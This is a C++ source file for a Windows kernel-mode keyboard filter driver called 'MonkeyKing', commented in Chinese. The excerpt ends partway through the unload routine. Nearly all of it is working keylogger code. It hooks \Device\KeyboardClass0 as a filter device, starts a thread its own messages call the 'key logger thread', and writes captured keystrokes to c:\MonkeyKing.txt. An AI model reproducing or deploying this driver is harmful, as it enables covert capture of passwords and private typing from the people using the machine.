/************************************************************************
* 文件名称:Driver.cpp
*
* 完成日期:2008年8月10日
*************************************************************************/
#include "stdafx.h"
#include "ScanCode.h"
#include "DriverEntry.h"
#include <stdarg.h>
const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName";
const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName";
const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0";
const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt";
int numPendingIrps = 0;
/*---------------------------------------------------------------------------------------------------------------------------------------------*/
/************************************************************************
* 函数名称:DriverEntry
* 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
*************************************************************************/
STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath )
{
NTSTATUS retValue = STATUS_SUCCESS;
TRACEMSG("初始化例程...");
pDriverObject->DriverUnload = OnUnload;
for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){
pDriverObject->MajorFunction[i] = DispatchHandler;
}
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
TRACEMSG("初始化例程...完成");
//创建设备。
TRACEMSG("创建设备...");
PDEVICE_OBJECT pKeyboardDevice = NULL;
if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice)))
{
TRACEMSG("创建设备...失败");
return retValue;
}
TRACEMSG("创建设备...完成。键盘设备对象指针为:0x%x", pKeyboardDevice);
//挂接设备。
TRACEMSG("挂接设备...");
if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice)))
{
TRACEMSG("挂接设备...失败");
return retValue;
}
TRACEMSG("挂接设备...完成");
TRACEMSG("初始化线程...");
if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject)))
{
TRACEMSG("初始化线程...失败");
return retValue;
}
TRACEMSG("初始化线程...完成");
/*
这个时候初始化线程已经准备就绪,接下来就是准备一个链表来保存线程之间共享的数据。
而这个链表将保存在设备扩展中的pKeyboardDevExt->QueueListHead。
*/
TRACEMSG("初始化链表...");
PDEVICE_EXTENSION pKeyboardDevExt = (PDEVICE_EXTENSION)pKeyboardDevice->DeviceExtension;
InitializeListHead(&pKeyboardDevExt->QueueListHead);
/*
初始化一个旋转锁以便同步访问链表。它保证链表线程是安全的,这一点非常重要。若程序没有使用旋转锁,则当两个线程同时访问链表时会引起
蓝屏死机。该信号量记录了工作队列中的项数(初始时为零)
*/
TRACEMSG("初始化旋转锁和信号量...");
KeInitializeSpinLock(&pKeyboardDevExt->lockQueue);
KeInitializeSemaphore(&pKeyboardDevExt->semQueue, 0, MAXLONG);
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
ANSI_STRING ntNameString;
UNICODE_STRING uFileName;
RtlInitAnsiString(&ntNameString, LOG_FILE_NAME);
RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, true);
//初始化属性
InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
//创建文件
NTSTATUS nsCreateStatus = ZwCreateFile(&pKeyboardDevExt->hLogFile, GENERIC_WRITE, &obj_attrib, &file_status, NULL, FILE_ATTRIBUTE_NORMAL, 0,
FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
//释放分配的字符串
RtlFreeUnicodeString(&uFileName);
if (nsCreateStatus == STATUS_SUCCESS)
{
TRACEMSG("创建文件成功:%s", LOG_FILE_NAME);
}
else
{
TRACEMSG("创建文件失败,失败代码为:%x", file_status);
}
return retValue;
}
/*---------------------------------------------------------------------------------------------------------------------------------------------*/
/**********************************************************
函数名称: HookKeyboard
返回值 : NTSTATUS
参 数: IN PDEVICE_OBJECT pDriverObject
输入键盘设备对象。
功能描述: 挂接键盘设备。
***********************************************************/
//STDAPI_(NTSTATUS) HookKeyboard(IN PDRIVER_OBJECT pDriverObject)...del
STDAPI_(NTSTATUS) HookKeyboard(IN PDEVICE_OBJECT pKeyboardDevice)
{
/*
需要分层的键盘设备名称是KeyboardClass0。它被转换成一个UNICODE字符串并且通过调用IoAttachDevice()来放置过滤器钩子。链中指向下一个
设备的指针存储在pDeviceExtension->pKeyboardDevice中。该指针用于将IRP向下传递到链中的底层设备。
*/
TRACEMSG("Entering Hook Routine...");
pKeyboardDevice->Flags = pKeyboardDevice->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDevice->Flags = pKeyboardDevice->Flags & ~DO_DEVICE_INITIALIZING;
TRACEMSG("标志设置成功...");
RtlZeroMemory(pKeyboardDevice->DeviceExtension, sizeof(DEVICE_EXTENSION));
TRACEMSG("Device Extension Initialized...");
//获取指向扩展设备的指针。
PDEVICE_EXTENSION pKeyboardDevExt = (PDEVICE_EXTENSION)pKeyboardDevice->DeviceExtension;
//附加过滤驱动程序。
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, NT_DEVICE_NAME );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, true );
IoAttachDevice(pKeyboardDevice,&uKeyboardDeviceName,&pKeyboardDevExt->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
TRACEMSG("Filter Device Attached Successfully...");
return STATUS_SUCCESS;
}
/*---------------------------------------------------------------------------------------------------------------------------------------------*/
/**********************************************************
函数名称: CreateDevice
返回值 : NTSTATUS
参 数: IN PDRIVER_OBJECT pDriverObject
参 数: OUT PDEVICE_OBJECT * pKeyboardDeviceObject
功能描述: 创建键盘设备。
***********************************************************/
STDAPI_(NTSTATUS) CreateDevice(IN PDRIVER_OBJECT pDriverObject, OUT PDEVICE_OBJECT *ppKeyboardDeviceObject)
{
//调用的对象。
NTSTATUS status;
UNICODE_STRING deviceName;
//创建键盘设备对象
*ppKeyboardDeviceObject = NULL;
RtlInitUnicodeString(&deviceName, DEVICE_NAME);
status = IoCreateDevice(
pDriverObject,
sizeof(DEVICE_EXTENSION),
&deviceName,
FILE_DEVICE_KEYBOARD,
0,
true,
ppKeyboardDeviceObject
);
if (!NT_SUCCESS(status)){
return status;
}
//打开DO_BUFFERED_IO、DO_POWER_PAGABLE两个标志。
(*ppKeyboardDeviceObject)->Flags = (*ppKeyboardDeviceObject)->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
//关闭DO_DEVICE_INITIALIZING
(*ppKeyboardDeviceObject)->Flags = (*ppKeyboardDeviceObject)->Flags & ~DO_DEVICE_INITIALIZING;
return status;
}
/*---------------------------------------------------------------------------------------------------------------------------------------------*/
STDAPI_(VOID) OnUnload( IN PDRIVER_OBJECT DriverObject )
{
PDEVICE_EXTENSION pKeyboardDevExt = (PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension;
KTIMER kTimer;
LARGE_INTEGER timeout;
//驱动程序必须使用IoDetachDevice函数取下一分层的设备的钩子。
IoDetachDevice(pKeyboardDevExt->pKeyboardDevice);
TRACEMSG("keyboard hook detached from device...\n");
//下面使用一个定时器进入一个短循环,直到所有IRP完成处理。
timeout.QuadPart = 1000000;
KeInitializeTimer(&kTimer);
//若某个IRP正在等待击键动作,则直到按下一个键后卸载才能完成。
while (numPendingIrps > 0)
{
KeSetTimer(&kTimer, timeout, NULL);
KeWaitForSingleObject(&kTimer, Executive, KernelMode, false, NULL);
}
//这个时候指示worker线程应该终止。
pKeyboardDevExt->bThreadTerminate = true;
KeReleaseSemaphore(&pKeyboardDevExt->semQueue, 0, 1, true);
//使用线程指针调用KeWaitForSingleObject,一直等候到该线程已终止。
TRACEMSG("Waiting for key logger thread to terminate...");
KeWaitForSingleObject(pKeyboardDevExt->pThreadObject, Executive, KernelMode, false, NULL);
TRACEMSG("key logger thread terminated");